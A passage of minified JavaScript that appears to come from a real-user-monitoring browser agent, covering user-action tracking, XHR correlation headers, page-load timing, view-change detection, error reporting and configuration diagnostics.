a.info||"",a.domNodes||-1,xb(void 0===l?"":l),U(),d||"",G,ea,r,f,ya,ob,zb,pb);Sg();a.$b()&&Ob(Ze.oa,a);Ze.actions[a.id]=a;ja(nj);return a}function xb(a){if(a){var b=document.createElement("a");b.href=a;if("file:"===b.protocol||"about:"===b.protocol||b.hostname)return b.href;var d=function(f,l,r,G){f.av(G,"rfi",1,!1);wm(d)};Qe(d)}return location.href}function ec(a){var b,d,f;a.start||(a.start=kc());var l=Ta(a);l.ra=Zc(function(){l&&(3!==l.status||l.Pb())&&uc(l.id)},1E3*Tc("oat"));var r=null;switch(ma(a.pa)){case 1:r=
Nd;break;case 2:if(r=$b(a.pa),!r&&"_load_"===a.type)return l}pc((b={},b.kind="ACTION_ENTERED",b.detail=(d={},d.i=l.id,d.a=a.start,d.s=0,d.x=a.xhrUrl,d.r=r?r.ta():l.id,d.t=l.type,d.e=null===(f=Pb())||void 0===f?void 0:f.target,d.rt=void 0,d),b));"undefined"===typeof a.Rd&&of(l,!1,!!r);if(r)for(r=r.tb(),r.Sc(l),a=0,b=ge;a<b.length;a++)d=b[a],d.Va>l.start+1E4&&(d.Va=l.start+1E4);else A(l.Ue()),Hj();return l}function uc(a,b,d){var f,l;a=$b(a);var r=b,G=C();if(!r&&a&&"_load_"===a.name&&"_load_"===a.type&&
G.gLVD){r=Z(G);var ea=aa(mb.performance,"loadEventEnd");if(ea){var ya=G.gVCP();r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," vc time is: ").concat(ya,", and loadEventEnd time is: ").concat(ea,"."));r=Math.max(ya,ea)+ef()}else r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," No load event end, taking current time for load action end!")),r=kc();Z(G)&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," Computed load action end time with arguments: ").concat(JSON.stringify({endTime:b,
$h:r}),"."))}b="number"===typeof r&&(null===a||void 0===a?void 0:a.isCustomAction);G=r||kc();a&&(pc((f={},f.kind="ACTION_LEFT",f.detail=(l={},l.i=a.id,l.a=a.start,l.s=G,l.r=a.ta(),l),f)),a.Wb(G,d,b),Cg());of(ed(),!0)}function qc(a,b,d){var f=Nd;"undefined"!==typeof b&&null!==b&&(f=$b(b));if(f)return f.Sc(a,d),!1;Tg(a);Ob(Le,a);return!0}function ud(a,b,d,f,l,r,G,ea){"undefined"===typeof f?f=!0:null===f&&(f=!1);a={name:Wa(a),type:b,start:d,pa:f,info:l||"",xhrUrl:r||"",isCustomAction:!!G};ea&&(a.qa=
ea);return ec(a).id}function We(a,b,d){M();uc(a,b,d)}function Ei(a){for(var b=Ze.oa.slice(),d=0;d<b.length;d++)uc(b[d].id,a);return b.length}function Ie(a){for(var b=0,d=vf;b<d.length;b++)if(d[b].G===a)return!0;return!1}function Gf(a){var b=Oi();return!!(b&&b.exec&&a&&(b.exec(a)||b.exec(R(a))))}function bf(a,b,d,f,l,r,G){void 0===b&&(b=3);void 0===d&&(d="");void 0===f&&(f=!1);void 0===l&&(l=void 0);void 0===r&&(r=!1);void 0===G&&(G=!1);if(d&&Gf(d))return 0;var ea=wa(d),ya=Pb(),ob=a||"-",zb=ne(!1);
if(se){if(zb&&!$b(zb))return 0;kb=!0}ya&&(ya.info="-"===ya.info?ob:ya.info+", "+ob);!zb&&ya&&ya.G&&(zb=ya.G);d=R(d);Yg[d]=!0;a={name:a,type:"xhr",start:kc(),info:ob,xhrUrl:ea,isCustomAction:f,nc:l,ac:G};zb?(ya=0,r||(a.pa=zb,ya=Je(a))):ya?(zb=0,3<=b&&(zb=kf(La(La({},a),{name:ya.Ob(),type:ya.type,start:ya.start,info:ya.info,qa:ya.url,pa:!1,aa:ya.aa||"",na:ya.view})),ya.G=zb,ya.Sb&&cd(!0,$b(zb))),ya=zb):(ya=Nd)?(zb=0,1<=b&&!r&&(zb=Je(La(La({},a),{pa:ya.id}))),ya=zb):ya=hc("cux")?kf(La(La({},a),{name:"Unlinked XHR",
type:"xhr",pa:!1})):0;return ya}function kf(a){a:{var b=a.info;var d=a.xhrUrl;if(a.nc&&vf.length)for(var f=vf.length-1;0<=f;f--){var l=vf[f],r=l.G,G=Bd(r);if(G&&b&&b[0]!==l.Hf&&rc(G.xhrUrl||"")===l.xhrUrl&&l.xhrUrl===rc(d||"")){b=r;break a}}b=0}if(b)return b;a.Ma=!0;return ec(a).id}function Je(a){var b=a.pa,d=null;"number"===typeof b&&(d=Bd(b));a.pa=d?d.id:!0;return kf(a)}function Ed(a,b,d,f,l){void 0===b&&(b="");void 0===f&&(f=kc());var r=Bd(a);!r||l&&0>yc(r.info,l)&&r.name!==l||(d?Zc(function(){Ib(b)},
0):Ib(b),Zc(function(){if(!kb){var G=f;Bd(a)&&uc(a,G)}},cm),M())}function mg(a,b){if(a){var d=Bd(a);d&&(d.cc++,d.Xa||b&&4!==b||d.Ze(kc()),Ob(nh,a),Dj++)}}function kh(a){if(a){var b=Bd(a);b&&(b.Ye(kc()),b.cc--,Dj--,Zc(function(){ze(a)},0))}}function Fd(a,b,d){if("number"!==typeof a||isNaN(a)||0>a)return!1;0===a&&(a=971,b="XHR Canceled");b&&(b+="");d=$b(d)||Nd;if(!d||-1!==d.jc||!d.Ma)return!1;d.jc=a;b&&0<b.length&&(d.$c=b);return!0}function lh(){return!hc("disableXhrFailures")}function Sd(a){return(a=
$b(a))&&a.Ma?[a.Xa,a.jb]:[0,0]}function Bc(a,b){var d=Bd(a);if(d){var f=d.xhrUrl;d.Xc(b);d=0;for(var l=vf;d<l.length;d++){var r=l[d];r.G===a&&r.xhrUrl===rc(f)&&(r.xhrUrl=rc(b))}}}function qe(a){return(a=Bd(a))?a.xhrUrl:""}function fj(a,b,d,f){void 0===f&&(f="headers");a=a||{};b=b||a.url;a[f]=a[f]||{};var l=d||a.actionId;if(!a[f]||!md()||(null===Pi||void 0===Pi?0:Pi.test(b)))return a;var r=!(null===Qi||void 0===Qi||!Qi.test(b)),G="";d=Rd(l);if(r){G=zd(l);r=a;var ea=G,ya=f,ob=[],zb=pd(),pb=Li(zb).replace("-",
"-2D");Ob(ob,'sn="v_4_srv_'.concat(pb,"_sn_").concat(Cl(zb),'"'));ea&&Ob(ob,'pc="'.concat(ea,'"'));Ob(ob,'v="'.concat(jk(),'"'));Ob(ob,'app="'.concat(Xc("app"),'"'));(ea=Na("dtAdk"))&&Ob(ob,'adk="'.concat(ea,'"'));Ob(ob,'r="'.concat(d,'"'));Lb(r,"x-dtc",ob.join(", "),ya)}if(oa(b))return a;r=hc("dpch");l&&(r||(ya=a,l=G||zd(l),G=f,l&&(Lb(ya,"x-dtpc",l,G),Q()&&(Lb(ya,"x-dtreferer",O(),G),Lb(ya,"x-host",Ha(b),G)))),d&&d!==O()&&Lb(a,"x-dtreferer",d,f));Gf(b)&&!r&&Lb(a,"x-dtpc","ignore",f);return a}function Zf(a){a=
kk(a);if(!a)return null;try{return new RegExp(a,"i")}catch(b){}return null}function Fi(){Qi=Zf(Xc("chw"));Pi=Zf(Xc("xhb"));rb("CONFIG_UPDATE",function(){Qi=Zf(Xc("chw"));Pi=Zf(Xc("xhb"))})}function Gi(){var a=Nd;return a?a.name:""}function oi(a){for(var b=0,d=Ze.oa;b<d.length;b++)d[b].Wc=a.detail}function Cc(a){var b;return null===(b=$b(a))||void 0===b?void 0:b.Oe()}function sc(a){sd?a(C().bwsW,C().bwsH):Ob(te,a)}function uf(a){for(var b=te.length-1;0<=b;--b)if(a===te[b]){te.splice(b,1);break}}function Ae(){var a=
document,b=a.documentElement,d=0,f=0,l=a.body;"number"===typeof self.innerWidth?(d=self.innerWidth,f=self.innerHeight):a&&(b.clientWidth||b.clientHeight)?(d=b.clientWidth,f=b.clientHeight):l&&(l.clientWidth||l.clientHeight)&&(d=l.clientWidth,f=l.clientHeight);if(0>d||0>f)a=0,p.ie?a=140:a=10,d=Math.max(d,a),f=Math.max(f,10);C().bwsW=d;C().bwsH=f;sd=!0;a=0;for(b=te;a<b.length;a++)(0,b[a])(d,f)}function Md(){var a=C();rb("LOAD_END",Ae);a.abwsl||(a.abwsl=sc,a.rbwsl=uf);var b=!1;Qe(function(d,f,l,r){if(!f&&
!b&&(de||l)){b=!0;f=function(ob){return 0>ob||2147483647<=ob||isNaN(ob)?0:ob};var G=ic();l=G.bwsW||a.bwsW;G=G.bwsH||a.bwsH;0>=l&&(Ae(),l=a.bwsW,G=a.bwsH);l=f(l);var ea=f(G),ya=G=0;d.av(r,"w",l,!0);d.av(r,"h",ea,!0);if(l=mb.screen)G=f(l.width),ya=f(l.height),d.av(r,"sw",G,!0),d.av(r,"sh",ya,!0)}})}function cf(){var a=0,b=0,d=0,f="Info",l=[];hc("coo")&&hc("cooO")?(a++,Ob(l,{severity:"Info",text:"Opt-in mode is active, but dtrum.enable() has been called.",type:"cooeaoa"})):hc("coo")&&(f="Warning",b++,
Ob(l,{severity:"Warning",text:"Opt-in mode is active. Call dtrum.enable() to start collecting data.",type:"cooe"}));Db()&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"Agent is currently disabled. This can be caused by Cost Control, Overload Prevention, missing RUM License or a disabled application",type:"jsad"}));hc("dsss")&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"DISABLE_SUBDOMAIN_SOURCEACTION_SUPPORT is set.",type:"sssd"}));a:{var r=Xc("featureHash");for(var G=0,ea="7degijmovx".split("");G<
ea.length;G++)if(-1!==r.indexOf(ea[G])){r=!1;break a}r=!0}r&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"No module(that could detect a XHR) is active!",type:"nxma"}));Oc()&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"Should not track is set on this browser and respected by the RUM monitoring code!",type:"snt"}));hc("ssc")&&"https:"!==location.protocol&&(d++,f="Error",Ob(l,{severity:"Error",text:"Secure cookies are enabled, but can't be set as the page isn't using https.",type:"scbip"}));return 0<
l.length?(a=[df(d,"Error"),df(b,"Warning"),df(a,"Info")],{severity:f,text:"".concat(a.join(""),"regarding agent configuration."),type:"ci",children:l}):null}function df(a,b){return a?"".concat(a," ").concat(b).concat(1<a?"s":""," "):""}function ug(){rb("DEBUG_INFO_REQUESTED",cf);Qe(function(a,b,d,f){hc("ssc")&&"https:"!==location.protocol&&a.av(f,"sconsp",1)})}function Td(){return Xc("rpid")?"automatically":"manually"}function gj(){xd=void 0;ba(document.currentScript)&&(Re=document.currentScript);
rb("DEBUG_INFO_REQUESTED",function(){xd||(xd=Re?Re.src?Re.dataset.dtconfig?"OneAgent JavaScripTag ".concat(Td()," injected"):Re.src.includes("_complete")?"JavaScriptTag ".concat(Td()," injected"):Re.getAttribute("defer")?"CodeSnippetDeferred ".concat(Td()," injected"):"CodeSnippetSync ".concat(Td()," injected"):Re.dataset.dtconfig?"InlineCode ".concat(Td()," injected"):"Couldn't detect injection mode.":"Couldn't detect injection mode.");return{severity:"Info",text:xd,type:"im"}})}function Hi(a){switch(a){case 1:if((a=
document.currentScript)&&ba(a)){a:{var b,d;if(document.documentElement&&(a=document.documentElement.outerHTML.split(a.outerHTML),2===a.length)){a=(null===(d=null===(b=a[0])||void 0===b?void 0:b.split("\n"))||void 0===d?void 0:d.length)+1;break a}a=void 0}return"Agent is double injected! Is it manually and automatic injected? Current used agent is near: ".concat(document.location,":").concat(a)}return"Agent is double injected! Is it manually and automatic injected?";case 2:return"Problem detected while agent initialization! Snippet couldn't initialize so can't initialize monitoring code";
case 3:return"Problem detected while agent initialization! Snippet couldn't initialize as initConfig didn't initialize.";default:return""}}function re(){rb("DEBUG_INFO_REQUESTED",function(){return 0!==C().di?{severity:"Error",text:Hi(C().di),type:"di"}:null});Qe(function(a,b,d,f){0===C().di||b||a.av(f,"di",C().di)})}function pi(){var a;return pc((a={},a.kind="DEBUG_INFO_REQUESTED",a.detail=void 0,a))}function Yd(){Qe(function(){if(!Pf.disableCookieManager){var a=pd();if(!a||-1===yc(a,"_srv_-"))try{if(mb.sessionStorage){var b=
a,d=lk("dtCookie")||"";Mi(d)||(d="");if(d&&"null"!==d&&b!==d){var f=Id(d).sessionId||"";if("undefined"!==typeof b&&""!==b){if((d=b)&&f){var l=d,r=yc(l,"_sn_");if(-1!==r){var G=l.indexOf("_",r+4),ea=-1!==G?l.substring(r,G):l.substring(r);ea&&(l=l.replace(ea,"_sn_"+f))}d=l}var ya=d}else ya=d;b=ya}if(a=b)jj(a),Qk("dtCookie",a)}}catch(ob){}}})}function $f(a){rb("ACTION_ENTERED",function f(d){a.dtWF=f;d=d.detail;var l=d.i;a(l,d.a,d.r===l,d.e)})}function qf(a){rb("ACTION_LEFT",function f(d){a.dtWF=f;d=
d.detail;var l=d.i;a(l,d.s,d.r===l)})}function rf(a,b){um.push(a);0===b?Vc():Vc(2E3)}function ag(a,b,d,f,l){void 0===d&&(d=!1);void 0===f&&(f=kc());void 0===l&&(l=0);var r=b;if(1===l&&"_csprv_"===a){if(0!==Hf){r=ae;var G=r.timestamp,ea=r.group,ya=r.trigger;b.push(["tvn",r.name]);b.push(["tvt",String(G)]);b.push(["tvtrg",String(ya)]);b.push(["tvm",ce(r)]);ea&&b.push(["tvg",ea])}r=b}a={id:ke(),timestamp:f,kind:a,eb:r};switch(ma(d)){case 1:(d=Nd)?d.Rc(a):rf(a,l);break;case 2:(d=$b(d))?d.Rc(a):rf(a,l);
break;case 0:rf(a,l)}}function yf(a,b){return a?{oldView:a,newView:b}:{newView:b}}function Ch(a,b){void 0===b&&(b=Tc("vncm"));var d=document.createElement("a");d.href=a;a=d.hash;d=d.pathname;"/"!==d.charAt(0)&&(d="/"+d);0===b?b=d+a:2===b?(b=a||"/","#"===b.charAt(0)&&(b=b.replace("#","")),"/"!==b.charAt(0)&&(b="/"+b)):b=d;return b}function Pe(a,b){a.name=b.name;b.group&&(a.group=b.group);a.hydrated=!0}function Oh(a){var b=[],d=a.oldView,f=a.newView;if(d){var l=d.name,r=d.timestamp,G=d.group,ea=d.trigger;
l&&r&&(b.push(["svn",l]),b.push(["svt",String(r)]),b.push(["svtrg",String(ea)]),b.push(["svm",ce(d)]));G&&b.push(["svg",G])}d=f.name;G=f.group;ea=f.trigger;b.push(["tvn",d]);b.push(["tvtrg",String(ea)]);b.push(["tvm",ce(f)]);G&&b.push(["tvg",G]);b.length&&ag("_view_",b,!1,a.newView.timestamp||void 0,1)}function Fg(a){de?Oh(a.detail):Ya(a.detail)}function Vg(a){a.detail.i===Kb&&(a=Xg,a.length&&(Ac(a,Oh),Xg=[]),wb("ACTION_SENT",Vg))}function F(a,b){void 0===b&&(b=Tc("dvl"));var d;return function(){for(var f=
this,l=[],r=0;r<arguments.length;r++)l[r]=arguments[r];void 0!==d&&ti(d);d=Zc(function(){a.apply(f,l)},b)}}function P(){if(1===Hf){var a=ae,b=Ch(O());a=a.name;if(a+"/"===b)a=!1;else{var d=document.createElement("a"),f=document.createElement("a");d.href=a;f.href=b;a=d.pathname!==f.pathname||!document.getElementById(f.hash.substring(1))&&d.hash!==f.hash}a&&xa({name:b})}}function da(){var a,b=ae,d=oj;b.id!==d.id&&(pc((a={},a.kind="VIEW_STABLE",a.detail=yf(d,b),a)),oj=b)}function xa(a){var b,d=ae,f=La,
l=La,r=Tc("rtu"),G=La({},a);G.name=Ga(a.name,r,!0);a.group&&(G.group=Ga(a.group,r,!0));ae=a=f(l({},G),{timestamp:kc(),id:++xm,kind:1,trigger:Hf,hydrated:!1});0<Bl&&lj.push(a);pc((b={},b.kind="VIEW_CHANGE",b.detail=yf(d,ae),b));Qc()}function Qa(a){var b=History.prototype[a];b&&(History.prototype[a]=function(){for(var d=[],f=0;f<arguments.length;f++)d[f]=arguments[f];try{return b.apply(this,d)}finally{var l,r;pc((l={},l.kind="HISTORY_API_EVENT",l.detail=(r={},r.t=a,r.p=d,r),l))}})}function hb(a,b,d,
f){if(!b){b=ae;d=b.timestamp;var l=b.group,r=b.trigger;a.av(f,"tvn",encodeURIComponent(b.name));a.av(f,"tvt",String(d));a.av(f,"tvm",encodeURIComponent(ce(b)));a.av(f,"tvtrg",String(r));l&&a.av(f,"tvg",encodeURIComponent(l))}}function Gb(){Jg||(Jg=document.createElement("doc:rdy"));if(Jg.doScroll){var a=function(){try{Jg.doScroll("left"),Jg=void 0,Rf=kc(),M()}catch(b){Zc(a,0)}};a()}else document.addEventListener("DOMContentLoaded",function(){Rf=kc();M()},!1)}function Jb(){return pj}function Rb(){var a=
h,b=Hb(mb.performance);if(!b)return Math.round(a);var d=Ka(b)?6E4>=b.domContentLoadedEventStart:6E4>=Math.abs(b.domLoading-a);if(!Z(C())&&!d)return a;d=ef();var f=b.redirectStart,l=b.fetchStart;b=(Ka(b)?0:d)+6E4;b=f?b>f?d:f:l?b>l?d:l:d;isFinite(b)&&(a=b);return Math.round(a)}function Xb(){var a=ib(mb.performance,!0)||ef();return Math.round(a)}function Dc(a,b){var d;Ri--;if(Sf&&b){var f=(Sf.get(b)||1)-1;if(f)Sf.set(b,f);else Sf["delete"](b)}if(!Ri&&rh)try{pc((d={},d.kind="LOAD_END",d.detail=void 0,
d))}catch(l){}0>=Ri&&(rh&&(b=rh.id,a=a?Math.max(Xb(),a):Xb(),d=aa(mb.performance,"loadEventStart",!0)||ef(),d=d<Mb?0:Math.round(d),a&&d&&a>=d?(f=kc()-a,5E3<Math.abs(f)&&(a+=f),uc(b,a,d)):uc(b),rh=null),mk||xe());b=ic();b!==C()&&b.sole()}function Jc(a){if(Sf&&Sf.has(a))try{a.parent&&Zc(function(){Jc(a)},100)}catch(b){Dc(void 0,a)}}function td(a){Ri++;if(Sf&&a){var b=Sf.get(a)||0;Sf.set(a,b+1)}p.edge&&a&&Zc(function(){Jc(a)},100)}function xe(a,b){var d=$b(Kb);if(d){var f=0;mb.performance&&!a&&(f=b||
Xb());f||(f=kc());uc(d.id,f);pj=d.stop;M()}}function pe(){xe(1)}function Dd(){mk=!0}function Od(){var a=$b(Kb);a&&!rh&&(rh=ec({name:"_onload_",type:"_load_",start:kc(),pa:a.id}))}function wg(){if(!nk||0<Ri)nk=!0,M(),Dc()}function Uh(){M();if(!Ij){var a=ic();a!==C()&&a.iolm(mb);Od();Ij=!0;rb("PAGE_LEAVING",function d(){rh&&a!==C()&&a.sole(void 0,mb);wb("PAGE_LEAVING",d)});Zc(wg,0)}}function Vh(){"loaded"===document.readyState&&M();"complete"===document.readyState&&Uh()}function Zg(){M();Ij||("complete"===
document.readyState?ym?me(!1,!0):(ym=!0,Zc(Zg,3E3)):Zc(Zg,3E3))}function $g(){Si(!1);if(oh.length)for(var a=rn&&!hc("dsndb"),b=kc()-1E3,d=0,f=oh;d<f.length;d++){var l=f[d];try{l.time>=b&&(a?we(l.path,l.data):fd(hd({path:l.path,Ka:l.data}),!1))}catch(r){}}if(!Dl)try{yd(),El(),Gg.dT_.clB(),Sf=void 0,Dl=!0,rh=null}catch(r){}ok||(ok=!0,ye())}function sh(){Si(!0);ok||(ok=!0,ye())}function th(){var a,b=!1;try{return(a=Pb())&&a.target&&!Jj&&(b=Kj(a.target))&&(Jj=!0,Zc(function(){Jj=!1},1)),b}catch(d){return b}}
function Kj(a){var b;if(b=a){if(b=a.href)a:{b=a.href.replace(" ","").toLowerCase();var d=["mailto:"];if(11>p.ie)d.push("javascript:");else if(-1===yc("javascript:",b)){b=!1;break a}b:{for(var f=0;f<d.length;f++)if(-1<yc(b,d[f])){d=!0;break b}d=!1}d?b=!0:(b=b.split("://"),b=!("http"===b[0]||"https"===b[0]||"file"===b[0]))}b=b||Kj(a.parentNode)}return b||!1}function Lj(){th()||Si(!1,!0)}function zm(){Rk=se=!1;pk(!1);me(!1,!0,!0);kb=!1}function Ti(){if(p.sf&&mb.frames)for(var a=0;a<mb.frames.length;a++)try{var b=
mb.frames[a];b.dT_&&b.dT_.obc()}catch(d){}}function Si(a,b){var d;if(!se||kb){var f=kc();a||(se=!0,Zc(function(){Zc(zm,2E3)},1));pc((d={},d.kind="PAGE_LEAVING",d.detail=se,d));Sk&&Rk||cd(b,Nd,f);a=vg.qd(!1,!0,!0);Ti();a.beacon&&(me(!1,!0,!0,!1,a),Rk=!0);kb=!1}}function Tk(){return 0>=Ri}function ui(a,b){if(de||isNaN(a)||100>a||1E3<a)return!1;Kg={responseCode:a,message:b+""};return!0}function vi(){return Sk}function pk(a,b){Sk=a;ti(Wm);b&&(Wm=Zc(function(){Sk=!1},2E3))}function ah(){function a(b){Kb===
b.detail.i&&wb("ACTION_CLOSED",a)}mb.doNotCreateLoadAction||(Kb=ec({name:"_load_",type:"_load_",start:Mb}).id,M(),Vh());rb("ACTION_CLOSED",a)}function Uk(a,b,d,f){var l;void 0===d&&(d=!1);var r=(l={},l.msg="",l.file="",l.line=-1,l.column=-1,l.error=a,l.stackContainsWrapper=d,l);"number"===typeof b&&(r.parentActionId=b);f&&(r.source=f);qj(r)}function gf(a,b,d,f){a[b]&&Wh(d,""+a[b],f)}function Vk(){var a=p,b=a.ie,d=dm.documentMode;if(b){a=(a.trident||0)+4;if(b!==a)return a+"_as_"+b;if(d&&d!==b)return a+
"_as_"+d}return""}function qj(a){var b,d=a.error,f=a.msg;if(!(!f&&!d||wi+1>Tc("mepp"))){wi++;"string"===typeof d?f=a.msg||d:d=d||mb.event||{message:"",name:""};var l=La(La({},a),(b={},b.msg=f,b.error=d,b)),r;b=Pb();var G;b&&(G={name:b.Ob(),type:b.type});d=l.error;"string"===typeof d&&(d={});f=d.columnNumber||0;var ea=l.msg,ya=l.file,ob=l.column,zb=l.line,pb=l.source;b=(r={},r.message=d.message||d.name||d.yi||d.description||ea||d.errorMessage||d.Th||d.data||d.Yh||"Indeterminable error name",r.file=
d.fileName||d.filename||d.sourceURL||d.ai||d.file||ya||"",r.line=d.lineNumber||d.lineno||d.line||d.fi||zb||-1,r.column=(d.columnNumber?f+1:void 0)||d.ci||d.colno||d.column||ob||-1,r.stack=Xh(d)||Uc(),r.userInput=G,r.code=d.Ai||d.code||d.errorCode||d.status,r.timestamp=kc()-h,r.emulationMode=Vk(),r.debugInfo="",r.type=d.name||"Error",r.source=pb||"1",r);"Indeterminable error name"===b.message&&(r=Gh("msg",l.msg),r+=Gh("file",l.file),r+=Gh("line",l.line),r+=Gh("column",l.column),r+=Gh("error",l.error),
b.debugInfo=r);b.stack&&l.stackContainsWrapper&&(b.stack="<wrapper>"+b.stack);if(b.stack){if(1200<b.stack.length){l="";r=0;for(G=b.stack.split(/(\r\n|\n|\r)/gm);r<G.length&&!(d=G[r].trim(),f=d.length,0<f&&(l=250<f?l+(d.substring(0,150)+"[...]"+d.substring(f-100)+"\n"):l+(d+"\n")),1200<l.length);r++);b.stack=l}b.stack=b.stack.replace(RegExp("\\|","g"),"^p").replace(/(\r\n|\n|\r)/gm,"|")}500<b.message.length&&(b.message=b.message.substring(0,500));l=b.file;r=b.stack;G=Xc("csu");l&&r&&-1===yc(r,G)&&
-1!==yc(l,G)&&(b.incompleteStack=1200<r.length?"stringLength":"numLines");5011!==b.code&&(l=a.parentActionId,a=kc(),a=Ta({type:"_error_",name:Cb(b.message),start:a,Za:!0}),l=qc(a,l),a&&(gf(b,"type","_type_",a),b.file&&(r=b.file,0<=b.line&&(r+="|"+b.line),0<=b.column&&(r+="|"+b.column),Wh("_location_",r,a)),(r=b.incompleteStack)&&Wh("_istack_",r,a),gf(b,"stack","_stack_",a),gf(b,"code","_code_",a),gf(b,"timestamp","_ts_",a),gf(b,"emulationMode","_emu_",a),gf(b,"debugInfo","_debug_",a),b.userInput&&
Wh("_useraction_",b.userInput.type+"|"+b.userInput.name,a),gf(b,"source","_source_",a),l&&Vc()))}}function Uc(){try{throw Error("");}catch(l){var a=Xh(l);if(a&&4<a.split(/\r\n|\r|\n/).length)return"<generated>\n"+a}if(9>p.ie){a=[];var b=0;try{for(var d=arguments.callee.caller.caller;d&&10>a.length;){var f=Xm.exec(d.toString());a.push(f?f[1]||"[a]":"[a]");d=d.caller;b++}}catch(l){}if(3<b)return"<generated-ie>\n"+a.join("\n")}return""}function Xh(a){return a?a.stack||a.Xh||a.Ii||a.error&&a.error.stack||
"":""}function Wh(a,b,d){var f=kc();a=Ta({type:a,name:Cb(b),start:f,Za:!0});qc(a,d.id,!0)}function Gh(a,b){a=a+"|"+(typeof b+"|");if(null===b)a+="null|";else if("object"===typeof b)for(var d in b){if(Ra(b,d)&&"stack"!==d&&"error"!==d){var f=d;a+=d+"|";var l=typeof b[f];a+=l+"|";"object"!==l&&"function"!==l&&(a+=b[f]+"|")}}else a+=b+"|";return a}function Jf(a,b,d){var f=kc();a=Cb(a);b=Ta({type:b,name:a,start:f,stop:f,Za:!0,domNodes:-1});d=qc(b,d);ja(nj);d&&Vc();return d}function Mj(){Z(C())||(Jf("visit end",
"_endVisit_",-1)?Am(!1,"a"):kd())}function Fl(a,b){wi>Tc("mepp")||(wi++,Jf(a,"_error_",b))}function qk(a,b){Jf(a,"_warning_",b)}function Kf(a,b){Jf(a,"_log_",b)}function bh(a,b){var d=kc();a=Ta({type:"_rv_",name:Wa(a+"="+b),start:d,Za:!0});qc(a);Vc()}function nd(a,b,d){var f=kc();a=Ta({type:"_rs_",name:Wa(a+"="+b),start:f,Za:!0});qc(a,d);Vc()}function De(a,b){switch(a){case "_uaps_":if("string"!==typeof b){a="value [".concat(b,"] is not a valid short string, because it is of type ").concat(typeof b,
".");break}else a="value is not of type 'string'. Make sure to pass in a string.";(b=b.length)||(a="value is not a valid short string because it is empty.");var d=Tc("mpl");b>d&&(a="value is ".concat(b," characters long, which is longer than the maximum of ").concat(d," characters"));break;case "_uapl_":a="value [".concat(b,"] is not a valid java long.");break;case "_uapdt_":a="value [".concat(b,"] is not a valid date.");break;case "_uapdbl_":a="value [".concat(b,"] is not a valid java double.");
break;default:a="value [".concat(b,"] is not of a supported type. Has type of ").concat(typeof b,".")}return a}function rj(a,b){return{failedProperties:a.Ec(),sentProperties:a.Ed(),info:"Number of total failed properties: ".concat(b)}}function Ui(a){return!("number"!==typeof a||isNaN(a)||0!==a%1||0x7fffffffffffffff<a||-0x7fffffffffffffff>a)}function Lg(a){return!("number"!==typeof a||isNaN(a)||1.7976931348623157E308<a||-1.7976931348623157E308>a)}function Mg(a){return"string"===typeof a&&0!==gc(a).length&&
a.length<=Tc("mpl")}function Vi(a){return!!a&&"[object Date]"===Object.prototype.toString.call(a)}function Yh(a,b,d,f,l){b&&"object"===typeof b&&Hh({data:b,type:"_uapl_"},Ui,a);d&&"object"===typeof d&&Hh({data:d,type:"_uapdt_"},Vi,a);f&&"object"===typeof f&&Hh({data:f,type:"_uaps_"},Mg,a);l&&"object"===typeof l&&Hh({data:l,type:"_uapdbl_"},Lg,a)}function Hh(a,b,d){var f=a.data,l=Oc(),r;for(r in f)if(Ra(f,r)){var G=l,ea=f[r];null!==ea&&"object"===typeof ea&&Ra(ea,"value")&&(G=G&&!ea["public"],ea=ea.value);
b(ea)?(G?ea="dT_pv":"_uapdt_"===a.type&&Vi(ea)&&(ea=ea.getTime()),d.Od(a.type,r,ea)):d.Dd(a.type,r,ea)}}function xi(a){a=a?oc(a):[];if(0===a.length)return!1;for(var b=0;b<a.length;b++)if(0>mf(un,a[b]))return!1;return!0}function uh(a,b,d,f,l){a=new Qn(a);xi(b)?Yh(a,b.Xf,b.Bf,b.xg,b.Wf):Yh(a,b,d,f,l);return a.Lf()}function tc(a){vh[a]?vh[a]++:vh[a]=1}function Ih(){hc("ds")&&(vh={},Qe(function(a,b,d,f){if(hc("ds")){d="";for(l in vh)Ra(vh,l)&&(d+="".concat(d?"|":"").concat(l,"-").concat(vh[l]));var l=
d;!b&&de&&l&&(a.av(f,"ds",l,!1),vh={})}}))}function hf(a,b,d){(a=id.Of(a))&&Ob(d,b+"="+a)}function Zh(a,b,d,f){rd&&(b=rd.Nf(),d=[],hf(rd.Gd,"spL",d),hf(rd.Bd,"spD",d),hf(rd.Nd,"spSS",d),hf(rd.Fd,"spDb",d),b&&a.av(f,"fsp",encodeURIComponent(b.join(",")),!0),d.length&&a.av(f,"sp",encodeURIComponent(d.join(";")),!0),rd=null)}function Wk(a,b,d,f){rd=xi(a)?new id(a.Xf,a.Bf,a.xg,a.Wf):new id(a,b,d,f);a=rj(rd,id.qb);b=rd.Ec();if(b.length&&Qh())for(d=0;d<b.length;d++)f=b[d],he="Property key ["+f.key+"] was not accepted because: "+
f.reason,mb.console.log(he);(rd.Qf()||b.length)&&Vc();return a}function Gl(){return he?{severity:"Info",text:he+"(Note: only last errorMessage gets reported!)",type:"wsp"}:null}function Nj(a,b){if(Hf!==b)return-2;if(3===b&&!de){var d;Pe(ae,a);Pe(oj,a);a=yf(null===(d=Sh)||void 0===d?void 0:d.na,ae);Ya(a);return 2}d=ae;if(1===a.id&&1===d.id&&1===Xg.length)return Pe(Xg[0].newView,a),Pe(ae,a),Pe(oj,a),2;if(d.name===a.name)return-1;xa(a);return 1}function wh(a){var b=Number(a);return a&&!isNaN(b)&&11359836E5<
b&&41338908E5>b?b:kc()}function Fc(a){return"function"===typeof a}function Oj(a,b){for(var d in b)if(b[d]===a)return!0;return!1}function vc(a,b){return typeof a===b}function Me(a,b){return vc(a,b)||"undefined"===typeof a||null===a}function fg(a){var b;null===(b=mb.console)||void 0===b?void 0:b.log(a)}function Tf(a,b,d){fg("".concat(a,' "').concat(b,'" is deprecated! ').concat(d))}function Rc(){fg("Wrong argument types in method. Please check the documentation to fix that")}function wc(){fg("Too many arguments. Please check the documentation to fix that")}
